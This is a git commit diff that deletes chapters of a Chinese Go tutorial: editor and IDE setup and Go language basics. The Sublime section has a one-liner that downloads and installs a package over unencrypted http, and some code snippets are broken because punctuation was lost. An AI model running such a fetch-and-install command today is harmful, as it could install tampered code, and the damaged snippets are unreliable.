fix the conflict

This commit is contained in:
astaxie
2016-10-13 11:17:35 +08:00
parent 5770c25b78
commit d1f2745f83
174 changed files with 0 additions and 17483 deletions

View File

@@ -1,430 +0,0 @@
# 1.4 Go开发工具
本节我将介绍几个开发工具它们都具有自动化提示自动化fmt功能。因为它们都是跨平台的所以安装步骤之类的都是通用的。
## LiteIDE
LiteIDE是一款专门为Go语言开发的跨平台轻量级集成开发环境IDE由visualfc编写。
![](images/1.4.liteide.png?raw=true)
图1.4 LiteIDE主界面
**LiteIDE主要特点**
* 支持主流操作系统
* Windows
* Linux
* MacOS X
* Go编译环境管理和切换
* 管理和切换多个Go编译环境
* 支持Go语言交叉编译
* 与Go标准一致的项目管理方式
* 基于GOPATH的包浏览器
* 基于GOPATH的编译系统
* 基于GOPATH的Api文档检索
* Go语言的编辑支持
* 类浏览器和大纲显示
* Gocode(代码自动完成工具)的完美支持
* Go语言文档查看和Api快速检索
* 代码表达式信息显示`F1`
* 源代码定义跳转支持`F2`
* Gdb断点和调试支持
* gofmt自动格式化支持
* 其他特征
* 支持多国语言界面显示
* 完全插件体系结构
* 支持编辑器配色方案
* 基于Kate的语法显示支持
* 基于全文的单词自动完成
* 支持键盘快捷键绑定方案
* Markdown文档编辑支持
* 实时预览和同步显示
* 自定义CSS显示
* 可导出HTML和PDF文档
* 批量转换/合并为HTML/PDF文档
**LiteIDE安装配置**
* LiteIDE安装
* 下载地址 <http://sourceforge.net/projects/liteide/files>
* 源码地址 <https://github.com/visualfc/liteide>
首先安装好Go语言环境然后根据操作系统下载LiteIDE对应的压缩文件直接解压即可使用。
* 编译环境设置
根据自身系统要求切换和配置LiteIDE当前使用的环境变量。
以Windows操作系统64位Go语言为例
工具栏的环境配置中选择win64点`编辑环境`进入LiteIDE编辑win64.env文件
GOROOT=c:\go
GOBIN=
GOARCH=amd64
GOOS=windows
CGO_ENABLED=1
PATH=%GOBIN%;%GOROOT%\bin;%PATH%
。。。
将其中的`GOROOT=c:\go`修改为当前Go安装路径存盘即可如果有MinGW64可以将`c:\MinGW64\bin`加入PATH中以便go调用gcc支持CGO编译。
以Linux操作系统64位Go语言为例
工具栏的环境配置中选择linux64点`编辑环境`进入LiteIDE编辑linux64.env文件
GOROOT=$HOME/go
GOBIN=
GOARCH=amd64
GOOS=linux
CGO_ENABLED=1
PATH=$GOBIN:$GOROOT/bin:$PATH
。。。
将其中的`GOROOT=$HOME/go`修改为当前Go安装路径存盘即可。
* GOPATH设置
Go语言的工具链使用GOPATH设置是Go语言开发的项目路径列表在命令行中输入(在LiteIDE中也可以`Ctrl+,`直接输入)`go help gopath`快速查看GOPATH文档。
在LiteIDE中可以方便的查看和设置GOPATH。通过`菜单查看GOPATH`设置可以查看系统中已存在的GOPATH列表
同时可根据需要添加项目目录到自定义GOPATH列表中。
## Sublime Text
这里将介绍Sublime Text 2以下简称Sublime+GoSublime的组合那么为什么选择这个组合呢
- 自动化提示代码,如下图所示
![](images/1.4.sublime1.png?raw=true)
图1.5 sublime自动化提示界面
- 保存的时候自动格式化代码让您编写的代码更加美观符合Go的标准。
- 支持项目管理
![](images/1.4.sublime2.png?raw=true)
图1.6 sublime项目管理界面
- 支持语法高亮
- Sublime Text 2可免费使用只是保存次数达到一定数量之后就会提示是否购买点击取消继续用和正式注册版本没有任何区别。
接下来就开始讲如何安装,下载[Sublime](http://www.sublimetext.com/)
根据自己相应的系统下载相应的版本然后打开Sublime对于不熟悉Sublime的同学可以先看一下这篇文章[Sublime Text 2 入门及技巧](http://lucifr.com/139225/sublime-text-2-tricks-and-tips/)
1. 打开之后安装 Package ControlCtrl+` 打开命令行,执行如下代码:
import urllib2,os; pf='Package Control.sublime-package'; ipp=sublime.installed_packages_path(); os.makedirs(ipp) if not os.path.exists(ipp) else None; urllib2.install_opener(urllib2.build_opener(urllib2.ProxyHandler())); open(os.path.join(ipp,pf),'wb').write(urllib2.urlopen('http://sublime.wbond.net/'+pf.replace(' ','%20')).read()); print 'Please restart Sublime Text to finish installation'
这个时候重启一下Sublime可以发现在在菜单栏多了一个如下的栏目说明Package Control已经安装成功了。
![](images/1.4.sublime3.png?raw=true)
图1.7 sublime包管理
2. 安装完之后就可以安装Sublime的插件了。需安装GoSublime、SidebarEnhancements和Go Build安装插件之后记得重启Sublime生效Ctrl+Shift+p打开Package Controll 输入`pcip`即“Package Control: Install Package”的缩写
这个时候看左下角显示正在读取包数据,完成之后出现如下界面
![](images/1.4.sublime4.png?raw=true)
图1.8 sublime安装插件界面
这个时候输入GoSublime按确定就开始安装了。同理应用于SidebarEnhancements和Go Build。
3. 验证是否安装成功你可以打开Sublime打开main.go看看语法是不是高亮了输入`import`是不是自动化提示了,`import "fmt"`之后,输入`fmt.`是不是自动化提示有函数了。
如果已经出现这个提示,那说明你已经安装完成了,并且完成了自动提示。
如果没有出现这样的提示,一般就是你的`$PATH`没有配置正确。你可以打开终端输入gocode是不是能够正确运行如果不行就说明`$PATH`没有配置正确。
(针对XP)有时候在终端能运行成功,但sublime无提示或者编译解码错误,请安装sublime text3和convert utf8插件试一试
4. MacOS下已经设置了$GOROOT, $GOPATH, $GOBIN还是没有自动提示怎么办。
请在sublime中使用command + 9 然后输入env检查$PATH, GOROOT, $GOPATH, $GOBIN等变量 如果没有请采用下面的方法。
首先建立下面的连接, 然后从Terminal中直接启动sublime
ln -s /Applications/Sublime\ Text\ 2.app/Contents/SharedSupport/bin/subl /usr/local/bin/sublime
## Vim
Vim是从vi发展出来的一个文本编辑器, 代码补全、编译及错误跳转等方便编程的功能特别丰富,在程序员中被广泛使用。
![](images/1.4.vim.png?raw=true)
图1.9 VIM编辑器自动化提示Go界面
1. 配置vim高亮显示
cp -r $GOROOT/misc/vim/* ~/.vim/
2. 在~/.vimrc文件中增加语法高亮显示
filetype plugin indent on
syntax on
3. 安装[Gocode](https://github.com/nsf/gocode/)
go get -u github.com/nsf/gocode
gocode默认安装到`$GOPATH/bin`下面。
4. 配置[Gocode](https://github.com/nsf/gocode/)
~ cd $GOPATH/src/github.com/nsf/gocode/vim
~ ./update.bash
~ gocode set propose-builtins true
propose-builtins true
~ gocode set lib-path "/home/border/gocode/pkg/linux_amd64"
lib-path "/home/border/gocode/pkg/linux_amd64"
~ gocode set
propose-builtins true
lib-path "/home/border/gocode/pkg/linux_amd64"
>gocode set里面的两个参数的含意说明
>
>propose-builtins是否自动提示Go的内置函数、类型和常量默认为false不提示。
>
>lib-path:默认情况下gocode只会搜索**$GOPATH/pkg/$GOOS_$GOARCH** 和 **$GOROOT/pkg/$GOOS_$GOARCH**目录下的包当然这个设置就是可以设置我们额外的lib能访问的路径
5. 恭喜你,安装完成,你现在可以使用`:e main.go`体验一下开发Go的乐趣。
更多VIM 设定, 可参考[链接](http://monnand.me/p/vim-golang-environment/zhCN/)
## Emacs
Emacs传说中的神器她不仅仅是一个编辑器它是一个整合环境或可称它为集成开发环境这些功能如让使用者置身于全功能的操作系统中。
![](images/1.4.emacs.png?raw=true)
图1.10 Emacs编辑Go主界面
1. 配置Emacs高亮显示
cp $GOROOT/misc/emacs/* ~/.emacs.d/
2. 安装[Gocode](https://github.com/nsf/gocode/)
go get -u github.com/nsf/gocode
gocode默认安装到`$GOBIN`里面下面。
3. 配置[Gocode](https://github.com/nsf/gocode/)
~ cd $GOPATH/src/github.com/nsf/gocode/emacs
~ cp go-autocomplete.el ~/.emacs.d/
~ gocode set propose-builtins true
propose-builtins true
~ gocode set lib-path "/home/border/gocode/pkg/linux_amd64" // 换为你自己的路径
lib-path "/home/border/gocode/pkg/linux_amd64"
~ gocode set
propose-builtins true
lib-path "/home/border/gocode/pkg/linux_amd64"
4. 需要安装 [Auto Completion](http://www.emacswiki.org/emacs/AutoComplete)
下载AutoComplete并解压
~ make install DIR=$HOME/.emacs.d/auto-complete
配置~/.emacs文件
;;auto-complete
(require 'auto-complete-config)
(add-to-list 'ac-dictionary-directories "~/.emacs.d/auto-complete/ac-dict")
(ac-config-default)
(local-set-key (kbd "M-/") 'semantic-complete-analyze-inline)
(local-set-key "." 'semantic-complete-self-insert)
(local-set-key ">" 'semantic-complete-self-insert)
详细信息参考: http://www.emacswiki.org/emacs/AutoComplete
5. 配置.emacs
;; golang mode
(require 'go-mode-load)
(require 'go-autocomplete)
;; speedbar
;; (speedbar 1)
(speedbar-add-supported-extension ".go")
(add-hook
'go-mode-hook
'(lambda ()
;; gocode
(auto-complete-mode 1)
(setq ac-sources '(ac-source-go))
;; Imenu & Speedbar
(setq imenu-generic-expression
'(("type" "^type *\\([^ \t\n\r\f]*\\)" 1)
("func" "^func *\\(.*\\) {" 1)))
(imenu-add-to-menubar "Index")
;; Outline mode
(make-local-variable 'outline-regexp)
(setq outline-regexp "//\\.\\|//[^\r\n\f][^\r\n\f]\\|pack\\|func\\|impo\\|cons\\|var.\\|type\\|\t\t*....")
(outline-minor-mode 1)
(local-set-key "\M-a" 'outline-previous-visible-heading)
(local-set-key "\M-e" 'outline-next-visible-heading)
;; Menu bar
(require 'easymenu)
(defconst go-hooked-menu
'("Go tools"
["Go run buffer" go t]
["Go reformat buffer" go-fmt-buffer t]
["Go check buffer" go-fix-buffer t]))
(easy-menu-define
go-added-menu
(current-local-map)
"Go tools"
go-hooked-menu)
;; Other
(setq show-trailing-whitespace t)
))
;; helper function
(defun go ()
"run current buffer"
(interactive)
(compile (concat "go run " (buffer-file-name))))
;; helper function
(defun go-fmt-buffer ()
"run gofmt on current buffer"
(interactive)
(if buffer-read-only
(progn
(ding)
(message "Buffer is read only"))
(let ((p (line-number-at-pos))
(filename (buffer-file-name))
(old-max-mini-window-height max-mini-window-height))
(show-all)
(if (get-buffer "*Go Reformat Errors*")
(progn
(delete-windows-on "*Go Reformat Errors*")
(kill-buffer "*Go Reformat Errors*")))
(setq max-mini-window-height 1)
(if (= 0 (shell-command-on-region (point-min) (point-max) "gofmt" "*Go Reformat Output*" nil "*Go Reformat Errors*" t))
(progn
(erase-buffer)
(insert-buffer-substring "*Go Reformat Output*")
(goto-char (point-min))
(forward-line (1- p)))
(with-current-buffer "*Go Reformat Errors*"
(progn
(goto-char (point-min))
(while (re-search-forward "<standard input>" nil t)
(replace-match filename))
(goto-char (point-min))
(compilation-mode))))
(setq max-mini-window-height old-max-mini-window-height)
(delete-windows-on "*Go Reformat Output*")
(kill-buffer "*Go Reformat Output*"))))
;; helper function
(defun go-fix-buffer ()
"run gofix on current buffer"
(interactive)
(show-all)
(shell-command-on-region (point-min) (point-max) "go tool fix -diff"))
6. 恭喜你你现在可以体验在神器中开发Go的乐趣。默认speedbar是关闭的如果打开需要把 ;; (speedbar 1) 前面的注释去掉,或者也可以通过 *M-x speedbar* 手动开启。
## Eclipse
Eclipse也是非常常用的开发利器以下介绍如何使用Eclipse来编写Go程序。
![](images/1.4.eclipse1.png?raw=true)
图1.11 Eclipse编辑Go的主界面
1. 首先下载并安装好[Eclipse](http://www.eclipse.org/)
2. 下载[goclipse](https://code.google.com/p/goclipse/)插件
http://code.google.com/p/goclipse/wiki/InstallationInstructions
3. 下载gocode用于go的代码补全提示
gocode的github地址
https://github.com/nsf/gocode
在windows下要安装git通常用[msysgit](https://code.google.com/p/msysgit/)
再在cmd下安装
go get -u github.com/nsf/gocode
也可以下载代码直接用go build来编译会生成gocode.exe
4. 下载[MinGW](http://sourceforge.net/projects/mingw/files/MinGW/)并按要求装好
5. 配置插件
Windows->Reference->Go
(1).配置Go的编译器
![](images/1.4.eclipse2.png?raw=true)
图1.12 设置Go的一些基础信息
(2).配置Gocode可选代码补全设置Gocode路径为之前生成的gocode.exe文件
![](images/1.4.eclipse3.png?raw=true)
图1.13 设置gocode信息
(3).配置GDB可选做调试用设置GDB路径为MingW安装目录下的gdb.exe文件
![](images/1.4.eclipse4.png?raw=true)
图1.14 设置GDB信息
6. 测试是否成功
新建一个go工程再建立一个hello.go。如下图
![](images/1.4.eclipse5.png?raw=true)
图1.15 新建项目编辑文件
调试如下要在console中用输入命令来调试
![](images/1.4.eclipse6.png?raw=true)
图1.16 调试Go程序
## IntelliJ IDEA
熟悉Java的读者应该对于idea不陌生idea是通过一个插件来支持go语言的高亮语法,代码提示和重构实现。
1. 先下载ideaidea支持多平台win,mac,linux如果有钱就买个正式版如果不行就使用社区免费版对于只是开发Go语言来说免费版足够用了
![](images/1.4.idea1.png?raw=true)
2. 安装Go插件点击菜单File中的Setting找到Plugins,点击,Broswer repo按钮。国内的用户可能会报错自己解决哈。
![](images/1.4.idea3.png?raw=true)
3. 这时候会看见很多插件搜索找到Golang,双击,download and install。等到golang那一行后面出现Downloaded标志后,点OK。
![](images/1.4.idea4.png?raw=true)
然后点 Apply .这时候IDE会要求你重启。
4. 重启完毕后,创建新项目会发现已经可以创建golang项目了
![](images/1.4.idea5.png?raw=true)
下一步,会要求你输入 go sdk的位置,一般都安装在C:\Golinux和mac根据自己的安装目录设置选中目录确定,就可以了。
## links
* [目录](<preface.md>)
* 上一节: [Go 命令](<01.3.md>)
* 下一节: [总结](<01.5.md>)

View File

@@ -1,8 +0,0 @@
# 1.5 总结
这一章中我们主要介绍了如何安装GoGo可以通过三种方式安装源码安装、标准包安装、第三方工具安装安装之后我们需要配置我们的开发环境然后介绍了如何配置本地的`$GOPATH`,通过设置`$GOPATH`之后读者就可以创建项目接着介绍了如何来进行项目编译、应用安装等问题这些需要用到很多Go命令所以接着就介绍了一些Go的常用命令工具包括编译、安装、格式化、测试等命令最后介绍了Go的开发工具目前有很多Go的开发工具LiteIDE、sublime、VIM、Emacs、Eclipse、Idea等工具读者可以根据自己熟悉的工具进行配置希望能够通过方便的工具快速的开发Go应用。
## links
* [目录](<preface.md>)
* 上一节: [Go开发工具](<01.4.md>)
* 下一章: [Go语言基础](<02.0.md>)

View File

@@ -1,492 +0,0 @@
# 2.2 Go基础
这小节我们将要介绍如何定义变量、常量、Go内置类型以及Go程序设计中的一些技巧。
## 定义变量
Go语言里面定义变量有多种方式。
使用`var`关键字是Go最基本的定义变量方式与C语言不同的是Go把变量类型放在变量名后面
//定义一个名称为“variableName”类型为"type"的变量
var variableName type
定义多个变量
//定义三个类型都是“type”的变量
var vname1, vname2, vname3 type
定义变量并初始化值
//初始化“variableName”的变量为“value”值类型是“type”
var variableName type = value
同时初始化多个变量
/*
定义三个类型都是"type"的变量,并且分别初始化为相应的值
vname1为v1vname2为v2vname3为v3
*/
var vname1, vname2, vname3 type= v1, v2, v3
你是不是觉得上面这样的定义有点繁琐没关系因为Go语言的设计者也发现了有一种写法可以让它变得简单一点。我们可以直接忽略类型声明那么上面的代码变成这样了
/*
定义三个变量,它们分别初始化为相应的值
vname1为v1vname2为v2vname3为v3
然后Go会根据其相应值的类型来帮你初始化它们
*/
var vname1, vname2, vname3 = v1, v2, v3
你觉得上面的还是有些繁琐?好吧,我也觉得。让我们继续简化:
/*
定义三个变量,它们分别初始化为相应的值
vname1为v1vname2为v2vname3为v3
编译器会根据初始化的值自动推导出相应的类型
*/
vname1, vname2, vname3 := v1, v2, v3
现在是不是看上去非常简洁了?`:=`这个符号直接取代了`var`和`type`,这种形式叫做简短声明。不过它有一个限制,那就是它只能用在函数内部;在函数外部使用则会无法编译通过,所以一般用`var`方式来定义全局变量。
`_`(下划线)是个特殊的变量名,任何赋予它的值都会被丢弃。在这个例子中,我们将值`35`赋予`b`,并同时丢弃`34`
_, b := 34, 35
Go对于已声明但未使用的变量会在编译阶段报错比如下面的代码就会产生一个错误声明了`i`但未使用。
package main
func main() {
var i int
}
## 常量
所谓常量也就是在程序编译阶段就确定下来的值而程序在运行时无法改变该值。在Go程序中常量可定义为数值、布尔值或字符串等类型。
它的语法如下:
const constantName = value
//如果需要,也可以明确指定常量的类型:
const Pi float32 = 3.1415926
下面是一些常量声明的例子:
const Pi = 3.1415926
const i = 10000
const MaxThread = 10
const prefix = "astaxie_"
Go 常量和一般程序语言不同的是,可以指定相当多的小数位数(例如200位)
若指定給float32自动缩短为32bit指定给float64自动缩短为64bit详情参考[链接](http://golang.org/ref/spec#Constants)
## 内置基础类型
### Boolean
在Go中布尔值的类型为`bool`,值是`true`或`false`,默认为`false`。
//示例代码
var isActive bool // 全局变量声明
var enabled, disabled = true, false // 忽略类型的声明
func test() {
var available bool // 一般声明
valid := false // 简短声明
available = true // 赋值操作
}
### 数值类型
整数类型有无符号和带符号两种。Go同时支持`int`和`uint`这两种类型的长度相同但具体长度取决于不同编译器的实现。Go里面也有直接定义好位数的类型`rune`, `int8`, `int16`, `int32`, `int64`和`byte`, `uint8`, `uint16`, `uint32`, `uint64`。其中`rune`是`int32`的别称,`byte`是`uint8`的别称。
>需要注意的一点是,这些类型的变量之间不允许互相赋值或操作,不然会在编译时引起编译器报错。
>
>如下的代码会产生错误invalid operation: a + b (mismatched types int8 and int32)
>
>> var a int8
>> var b int32
>> c:=a + b
>
>另外尽管int的长度是32 bit, 但int 与 int32并不可以互用。
浮点数的类型有`float32`和`float64`两种(没有`float`类型),默认是`float64`。
这就是全部吗NoGo还支持复数。它的默认类型是`complex128`64位实数+64位虚数。如果需要小一些的也有`complex64`(32位实数+32位虚数)。复数的形式为`RE + IMi`,其中`RE`是实数部分,`IM`是虚数部分,而最后的`i`是虚数单位。下面是一个使用复数的例子:
var c complex64 = 5+5i
//output: (5+5i)
fmt.Printf("Value is: %v", c)
### 字符串
我们在上一节中讲过Go中的字符串都是采用`UTF-8`字符集编码。字符串是用一对双引号(`""`)或反引号(`` ` `` `` ` ``)括起来定义,它的类型是`string`。
//示例代码
var frenchHello string // 声明变量为字符串的一般方法
var emptyString string = "" // 声明了一个字符串变量,初始化为空字符串
func test() {
no, yes, maybe := "no", "yes", "maybe" // 简短声明,同时声明多个变量
japaneseHello := "Konichiwa" // 同上
frenchHello = "Bonjour" // 常规赋值
}
在Go中字符串是不可变的例如下面的代码编译时会报错cannot assign to s[0]
var s string = "hello"
s[0] = 'c'
但如果真的想要修改怎么办呢?下面的代码可以实现:
s := "hello"
c := []byte(s) // 将字符串 s 转换为 []byte 类型
c[0] = 'c'
s2 := string(c) // 再转换回 string 类型
fmt.Printf("%s\n", s2)
Go中可以使用`+`操作符来连接两个字符串:
s := "hello,"
m := " world"
a := s + m
fmt.Printf("%s\n", a)
修改字符串也可写为:
s := "hello"
s = "c" + s[1:] // 字符串虽不能更改,但可进行切片操作
fmt.Printf("%s\n", s)
如果要声明一个多行的字符串怎么办?可以通过`` ` ``来声明:
m := `hello
world`
`` ` `` 括起的字符串为Raw字符串即字符串在代码中的形式就是打印时的形式它没有字符转义换行也将原样输出。例如本例中会输出
hello
world
### 错误类型
Go内置有一个`error`类型专门用来处理错误信息Go的`package`里面还专门有一个包`errors`来处理错误:
err := errors.New("emit macho dwarf: elf header corrupted")
if err != nil {
fmt.Print(err)
}
### Go数据底层的存储
下面这张图来源于[Russ Cox Blog](http://research.swtch.com/)中一篇介绍[Go数据结构](http://research.swtch.com/godata)的文章,大家可以看到这些基础类型底层都是分配了一块内存,然后存储了相应的值。
![](images/2.2.basic.png?raw=true)
图2.1 Go数据格式的存储
## 一些技巧
### 分组声明
在Go语言中同时声明多个常量、变量或者导入多个包时可采用分组的方式进行声明。
例如下面的代码:
import "fmt"
import "os"
const i = 100
const pi = 3.1415
const prefix = "Go_"
var i int
var pi float32
var prefix string
可以分组写成如下形式:
import(
"fmt"
"os"
)
const(
i = 100
pi = 3.1415
prefix = "Go_"
)
var(
i int
pi float32
prefix string
)
### iota枚举
Go里面有一个关键字`iota`,这个关键字用来声明`enum`的时候采用它默认开始值是0const中每增加一行加1
const(
x = iota // x == 0
y = iota // y == 1
z = iota // z == 2
w // 常量声明省略值时默认和之前一个值的字面相同。这里隐式地说w = iota因此w == 3。其实上面y和z可同样不用"= iota"
)
const v = iota // 每遇到一个const关键字iota就会重置此时v == 0
const (
e, f, g = iota, iota, iota //e=0,f=0,g=0 iota在同一行值相同
)
const
a = iota a=0
b = "B"
c = iota //c=2
d,e,f = iota,iota,iota //d=3,e=3,f=3
g //g = 4
>除非被显式设置为其它值或`iota`,每个`const`分组的第一个常量被默认设置为它的0值第二及后续的常量被默认设置为它前面那个常量的值如果前面那个常量的值是`iota`,则它也被设置为`iota`。
### Go程序设计的一些规则
Go之所以会那么简洁是因为它有一些默认的行为
- 大写字母开头的变量是可导出的,也就是其它包可以读取的,是公有变量;小写字母开头的就是不可导出的,是私有变量。
- 大写字母开头的函数也是一样,相当于`class`中的带`public`关键词的公有函数;小写字母开头的就是有`private`关键词的私有函数。
## array、slice、map
### array
`array`就是数组,它的定义方式如下:
var arr [n]type
在`[n]type`中,`n`表示数组的长度,`type`表示存储元素的类型。对数组的操作和其它语言类似,都是通过`[]`来进行读取或赋值:
var arr [10]int // 声明了一个int类型的数组
arr[0] = 42 // 数组下标是从0开始的
arr[1] = 13 // 赋值操作
fmt.Printf("The first element is %d\n", arr[0]) // 获取数据返回42
fmt.Printf("The last element is %d\n", arr[9]) //返回未赋值的最后一个元素默认返回0
由于长度也是数组类型的一部分,因此`[3]int`与`[4]int`是不同的类型,数组也就不能改变长度。数组之间的赋值是值的赋值,即当把一个数组作为参数传入函数的时候,传入的其实是该数组的副本,而不是它的指针。如果要使用指针,那么就需要用到后面介绍的`slice`类型了。
数组可以使用另一种`:=`来声明
a := [3]int{1, 2, 3} // 声明了一个长度为3的int数组
b := [10]int{1, 2, 3} // 声明了一个长度为10的int数组其中前三个元素初始化为1、2、3其它默认为0
c := [...]int{4, 5, 6} // 可以省略长度而采用`...`的方式Go会自动根据元素个数来计算长度
也许你会说我想数组里面的值还是数组能实现吗当然咯Go支持嵌套数组即多维数组。比如下面的代码就声明了一个二维数组
// 声明了一个二维数组该数组以两个数组作为元素其中每个数组中又有4个int类型的元素
doubleArray := [2][4]int{[4]int{1, 2, 3, 4}, [4]int{5, 6, 7, 8}}
// 上面的声明可以简化,直接忽略内部的类型
easyArray := [2][4]int{{1, 2, 3, 4}, {5, 6, 7, 8}}
数组的分配如下所示:
![](images/2.2.array.png?raw=true)
图2.2 多维数组的映射关系
### slice
在很多应用场景中数组并不能满足我们的需求。在初始定义数组时我们并不知道需要多大的数组因此我们就需要“动态数组”。在Go里面这种数据结构叫`slice`
`slice`并不是真正意义上的动态数组,而是一个引用类型。`slice`总是指向一个底层`array``slice`的声明也可以像`array`一样,只是不需要长度。
// 和声明array一样只是少了长度
var fslice []int
接下来我们可以声明一个`slice`,并初始化数据,如下所示:
slice := []byte {'a', 'b', 'c', 'd'}
`slice`可以从一个数组或一个已经存在的`slice`中再次声明。`slice`通过`array[i:j]`来获取,其中`i`是数组的开始位置,`j`是结束位置,但不包含`array[j]`,它的长度是`j-i`。
// 声明一个含有10个元素元素类型为byte的数组
var ar = [10]byte {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'}
// 声明两个含有byte的slice
var a, b []byte
// a指向数组的第3个元素开始并到第五个元素结束
a = ar[2:5]
//现在a含有的元素: ar[2]、ar[3]和ar[4]
// b是数组ar的另一个slice
b = ar[3:5]
// b的元素是ar[3]和ar[4]
>注意`slice`和数组在声明时的区别:声明数组时,方括号内写明了数组的长度或使用`...`自动计算长度,而声明`slice`时,方括号内没有任何字符。
它们的数据结构如下所示
![](images/2.2.slice.png?raw=true)
图2.3 slice和array的对应关系图
slice有一些简便的操作
- `slice`的默认开始位置是0`ar[:n]`等价于`ar[0:n]`
- `slice`的第二个序列默认是数组的长度,`ar[n:]`等价于`ar[n:len(ar)]`
- 如果从一个数组里面直接获取`slice`,可以这样`ar[:]`因为默认第一个序列是0第二个是数组的长度即等价于`ar[0:len(ar)]`
下面这个例子展示了更多关于`slice`的操作:
// 声明一个数组
var array = [10]byte{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'}
// 声明两个slice
var aSlice, bSlice []byte
// 演示一些简便操作
aSlice = array[:3] // 等价于aSlice = array[0:3] aSlice包含元素: a,b,c
aSlice = array[5:] // 等价于aSlice = array[5:10] aSlice包含元素: f,g,h,i,j
aSlice = array[:] // 等价于aSlice = array[0:10] 这样aSlice包含了全部的元素
// 从slice中获取slice
aSlice = array[3:7] // aSlice包含元素: d,e,f,glen=4cap=7
bSlice = aSlice[1:3] // bSlice 包含aSlice[1], aSlice[2] 也就是含有: e,f
bSlice = aSlice[:3] // bSlice 包含 aSlice[0], aSlice[1], aSlice[2] 也就是含有: d,e,f
bSlice = aSlice[0:5] // 对slice的slice可以在cap范围内扩展此时bSlice包含d,e,f,g,h
bSlice = aSlice[:] // bSlice包含所有aSlice的元素: d,e,f,g
`slice`是引用类型,所以当引用改变其中元素的值时,其它的所有引用都会改变该值,例如上面的`aSlice`和`bSlice`,如果修改了`aSlice`中元素的值,那么`bSlice`相对应的值也会改变。
从概念上面来说`slice`像一个结构体,这个结构体包含了三个元素:
- 一个指针,指向数组中`slice`指定的开始位置
- 长度,即`slice`的长度
- 最大长度,也就是`slice`开始位置到数组的最后位置的长度
Array_a := [10]byte{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'}
Slice_a := Array_a[2:5]
上面代码的真正存储结构如下图所示
![](images/2.2.slice2.png?raw=true)
图2.4 slice对应数组的信息
对于`slice`有几个有用的内置函数:
- `len` 获取`slice`的长度
- `cap` 获取`slice`的最大容量
- `append` 向`slice`里面追加一个或者多个元素,然后返回一个和`slice`一样类型的`slice`
- `copy` 函数`copy`从源`slice`的`src`中复制元素到目标`dst`,并且返回复制的元素的个数
注:`append`函数会改变`slice`所引用的数组的内容,从而影响到引用同一数组的其它`slice`。
但当`slice`中没有剩余空间(即`(cap-len) == 0`)时,此时将动态分配新的数组空间。返回的`slice`数组指针将指向这个空间,而原数组的内容将保持不变;其它引用此数组的`slice`则不受影响。
从Go1.2开始slice支持了三个参数的slice之前我们一直采用这种方式在slice或者array基础上来获取一个slice
var array [10]int
slice := array[2:4]
这个例子里面slice的容量是8新版本里面可以指定这个容量
slice = array[2:4:7]
上面这个的容量就是`7-2`即5。这样这个产生的新的slice就没办法访问最后的三个元素。
如果slice是这样的形式`array[:i:j]`即第一个参数为空默认值就是0。
### map
`map`也就是Python中字典的概念它的格式为`map[keyType]valueType`
我们看下面的代码,`map`的读取和设置也类似`slice`一样,通过`key`来操作,只是`slice`的`index`只能是int类型而`map`多了很多类型,可以是`int`,可以是`string`及所有完全定义了`==`与`!=`操作的类型。
// 声明一个key是字符串值为int的字典,这种方式的声明需要在使用之前使用make初始化
var numbers map[string]int
// 另一种map的声明方式
numbers := make(map[string]int)
numbers["one"] = 1 //赋值
numbers["ten"] = 10 //赋值
numbers["three"] = 3
fmt.Println("第三个数字是: ", numbers["three"]) // 读取数据
// 打印出来如:第三个数字是: 3
这个`map`就像我们平常看到的表格一样,左边列是`key`,右边列是值
使用map过程中需要注意的几点
- `map`是无序的,每次打印出来的`map`都会不一样,它不能通过`index`获取,而必须通过`key`获取
- `map`的长度是不固定的,也就是和`slice`一样,也是一种引用类型
- 内置的`len`函数同样适用于`map`,返回`map`拥有的`key`的数量
- `map`的值可以很方便的修改,通过`numbers["one"]=11`可以很容易的把key为`one`的字典值改为`11`
- `map`和其他基本型别不同它不是thread-safe在多个go-routine存取时必须使用mutex lock机制
`map`的初始化可以通过`key:val`的方式初始化值,同时`map`内置有判断是否存在`key`的方式
通过`delete`删除`map`的元素:
// 初始化一个字典
rating := map[string]float32{"C":5, "Go":4.5, "Python":4.5, "C++":2 }
// map有两个返回值第二个返回值如果不存在key那么ok为false如果存在ok为true
csharpRating, ok := rating["C#"]
if ok {
fmt.Println("C# is in the map and its rating is ", csharpRating)
} else {
fmt.Println("We have no rating associated with C# in the map")
}
delete(rating, "C") // 删除key为C的元素
上面说过了,`map`也是一种引用类型,如果两个`map`同时指向一个底层,那么一个改变,另一个也相应的改变:
m := make(map[string]string)
m["Hello"] = "Bonjour"
m1 := m
m1["Hello"] = "Salut" // 现在m["hello"]的值已经是Salut了
### make、new操作
`make`用于内建类型(`map`、`slice` 和`channel`)的内存分配。`new`用于各种类型的内存分配。
内建函数`new`本质上说跟其它语言中的同名函数功能一样:`new(T)`分配了零值填充的`T`类型的内存空间,并且返回其地址,即一个`*T`类型的值。用Go的术语说它返回了一个指针指向新分配的类型`T`的零值。有一点非常重要:
>`new`返回指针。
内建函数`make(T, args)`与`new(T)`有着不同的功能make只能创建`slice`、`map`和`channel`,并且返回一个有初始值(非零)的`T`类型,而不是`*T`。本质来讲,导致这三个类型有所不同的原因是指向数据结构的引用在使用前必须被初始化。例如,一个`slice`,是一个包含指向数据(内部`array`)的指针、长度和容量的三项描述符;在这些项目被初始化之前,`slice`为`nil`。对于`slice`、`map`和`channel`来说,`make`初始化了内部的数据结构,填充适当的值。
>`make`返回初始化后的(非零)值。
下面这个图详细的解释了`new`和`make`之间的区别。
![](images/2.2.makenew.png?raw=true)
图2.5 make和new对应底层的内存分配
## 零值
关于“零值”所指并非是空值而是一种“变量未填充前”的默认值通常为0。
此处罗列 部分类型 的 “零值”
int 0
int8 0
int32 0
int64 0
uint 0x0
rune 0 //rune的实际类型是 int32
byte 0x0 // byte的实际类型是 uint8
float32 0 //长度为 4 byte
float64 0 //长度为 8 byte
bool false
string ""
## links
* [目录](<preface.md>)
* 上一章: [你好,Go](<02.1.md>)
* 下一节: [流程和函数](<02.3.md>)

View File

@@ -1,395 +0,0 @@
# 2.6 interface
## interface
Go语言里面设计最精妙的应该算interface它让面向对象内容组织实现非常的方便当你看完这一章你就会被interface的巧妙设计所折服。
### 什么是interface
简单的说interface是一组method签名的组合我们通过interface来定义对象的一组行为。
我们前面一章最后一个例子中Student和Employee都能SayHi虽然他们的内部实现不一样但是那不重要重要的是他们都能`say hi`
